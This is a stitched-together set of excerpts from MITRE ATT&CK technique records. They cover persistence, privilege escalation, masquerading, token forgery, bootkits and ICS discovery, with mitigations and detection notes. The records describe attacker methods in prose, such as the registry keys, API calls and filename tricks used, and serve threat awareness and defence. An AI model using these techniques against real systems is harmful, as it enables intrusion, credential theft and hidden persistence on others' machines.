- **Detect Abuse of XPC Services (T1559.003)**\n - Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage.

Some third party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.\n\nOn Windows, `diantz` or ` makecab` may be used to package collected files into a cabinet (.cab) file. `diantz` may also be used to download and compress files from remote locations (i.e. Remote Data Staging). `xcopy` on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.\n\n**Classification.** - Tactics: collection\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1560 Archive Collected Data - An adversary may compress and/or encrypt data that is collected prior to exfiltration.

This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1629 Impair Defenses - Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1574.011 Services Registry Permissions Weakness\n**ATT&CK T1574.011 Services Registry Permissions Weakness (full record).** Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\\SYSTEM\\CurrentControlSet\\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the `FailureCommand` key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe `Performance` key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the `Performance` key is not already present and if an adversary-controlled user has the `Create Subkey` permission, adversaries may create the `Performance` key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the `Parameters` key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the `Parameters` key of a given services registry configuration. By placing and configuring the `Parameters` key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked. […]\n\n## Reference: ATT&CK T1574.012 COR_PROFILER\n**ATT&CK T1574.012 COR_PROFILER (full record).** Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the.NET CLR. The COR_PROFILER is a.NET Framework feature which allows developers to specify an unmanaged (or external of.NET) profiling DLL to be loaded into each.NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the.NET CLR.\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with.NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all.NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim.NET process executes at a higher permission level, as well as to hook and impair defenses provided by.NET processes.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. […]\n\n## Reference: ATT&CK T1574.013 KernelCallbackTable\n**ATT&CK T1574.013 KernelCallbackTable (full record).** Adversaries may abuse the `KernelCallbackTable` of a process to hijack its execution flow in order to run their own payloads. The `KernelCallbackTable` can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once `user32.dll` is loaded.\n\nAn adversary may hijack the execution flow of a process using the `KernelCallbackTable` by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.\n\nA pointer to the memory address of the `KernelCallbackTable` can be obtained by locating the PEB (ex: via a call to the `NtQueryInformationProcess` Native API function). Once the pointer is located, the `KernelCallbackTable` can be duplicated, and a function in the table (e.g., `fnCOPYDATA`) set to the address of a malicious payload (ex: via `WriteProcessMemory`). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the `KernelCallbackTable` may also be restored to its original state by the rest of the malicious payload. Use of the `KernelCallbackTable` to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.\n\nOnce forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\n\n**Classification.** - Tactics: credential-access\n- Platforms: SaaS, Windows, macOS, Linux, IaaS, Office Suite, Identity Provider\n\n**Sub-techniques.** - T1606.001 Web Cookies: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services.\n- T1606.002 SAML Tokens: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

The default lifetime of a SAML token is one hour, but the validity period can be specified in the `NotOnOrAfter` value of the `conditions...` element in a token. This value can be changed using the `AccessTokenLifetime` in a `LifetimeTokenPolicy`. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.\n\nAn adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account.

This is done for the sake of evading defenses and observation.\n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, ESXi, Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. […]\n\n## Reference: ATT&CK T1036.006 Space after Filename\n**ATT&CK T1036.006 Space after Filename (full record).** Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with.app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called `evil.bin`, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to `evil.txt`, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to `evil.txt ` (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

Adversaries may exploit the way command line interpreters handle file names with trailing whitespace. (telemetry: auditd:SYSCALL:execve, linux:syslog:application or system execution logs)\n - Execution of renamed or dropped files with a trailing space to deceive users or analysts, especially in LaunchAgents or LaunchDaemons. […]\n\n## Reference: ATT&CK T1036.007 Double File Extension\n**ATT&CK T1036.007 Double File Extension (full record).** Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. […]\n\n## Reference: ATT&CK T1036.008 Masquerade File Type\n**ATT&CK T1036.008 Masquerade File Type (full record).** Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

[…]\n\n## Reference: ATT&CK T1036.009 Break Process Trees\n**ATT&CK T1036.009 Break Process Trees (full record).** An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.\n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in `HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\` and `HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\` are used to manage additional helper programs and functionalities that support Winlogon.\n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. […]\n\n## Reference: ATT&CK T1547.005 Security Support Provider\n**ATT&CK T1547.005 Security Support Provider (full record).** Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages` and `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **Privileged Process Integrity**: Privileged Process Integrity focuses on defending highly privileged processes (e.g., system services, antivirus, or authentication processes) from tampering, injection, or compromise by adversaries. These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Registry and LSASS Monitoring for Security Support Provider Abuse**\n - Monitor registry modifications to `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages` or `...\\OSConfig\\Security Packages`, especially insertions of new DLL entries. Correlate this with subsequent DLL module loads into `lsass.exe`. Track unsigned or anomalous DLLs loading into LSASS using image load auditing. […]\n\n## Reference: ATT&CK T1547.006 Kernel Modules and Extensions\n**ATT&CK T1547.006 Kernel Modules and Extensions (full record).** Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.\n\nWhen used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through `kextload` and `kextunload` commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.\n\nAdversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open source projects as well. […]\n\n## Reference: ATT&CK T1547.007 Re-opened Applications\n**ATT&CK T1547.007 Re-opened Applications (full record).** Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\". When selected, all applications currently open are added to a property list file named `com.apple.loginwindow.[UUID].plist` within the `~/Library/Preferences/ByHost` directory. Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish Persistence by adding a malicious application path to the `com.apple.loginwindow.[UUID].plist` file to execute payloads when a user logs in.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect persistence via reopened application plist modification (macOS)**\n - Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.

Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.

Broadcast discovery works by one system or device sending messages to all systems and devices on a network (or subnet) and then waiting for a response. If a response is received that means the system or device that responded is live and can communicate over that protocol. Adversaries may leverage different protocols supported on the network for sending broadcast messages.\n\nSome common OT protocols that have broadcast discovery mechanisms are Building Automation and Control Network (BACNet) Who-Is requests, Common Industrial Protocol (CIP) List Identity User Datagram Protocol (UDP) broadcast requests, and Siemens S7 broadcast identification requests.\n\n**Classification.** - Tactics: discovery\n- Platforms: Embedded, Windows, Linux, Network Devices\n- Sub-technique of: T0846 Remote System Discovery - Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Linux, Windows\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.\n\n**Mitigations.** - **Boot Integrity**: Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence.

Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.

This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. […]\n\n## Reference: ATT&CK T1542.005 TFTP Boot\n**ATT&CK T1542.005 TFTP Boot (full record).** Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.

These programs control flow of execution before the operating system takes control.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). […]\n\n## Reference: ATT&CK T1543.001 Launch Agent\n**ATT&CK T1543.001 Launch Agent (full record).** Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `~/Library/LaunchAgents`. Property list files use the `Label`, `ProgramArguments `, and `RunAtLoad` keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\nLaunch Agents can also be executed using the Launchctl command.\n\nAdversaries may install a new Launch Agent that executes at login by placing a.plist file into the appropriate folders with the `RunAtLoad` or `KeepAlive` keys set to `true`. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files. […]\n\n## Reference: ATT&CK T1543.002 Systemd Service\n**ATT&CK T1543.002 Systemd Service (full record).** Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.\n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).\n\nInside the `.service` unit files, the following directives are used to execute commands:\n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts.\n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.\n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.\n\nThe `.service` file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.\n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., Boot or Logon Initialization Scripts).

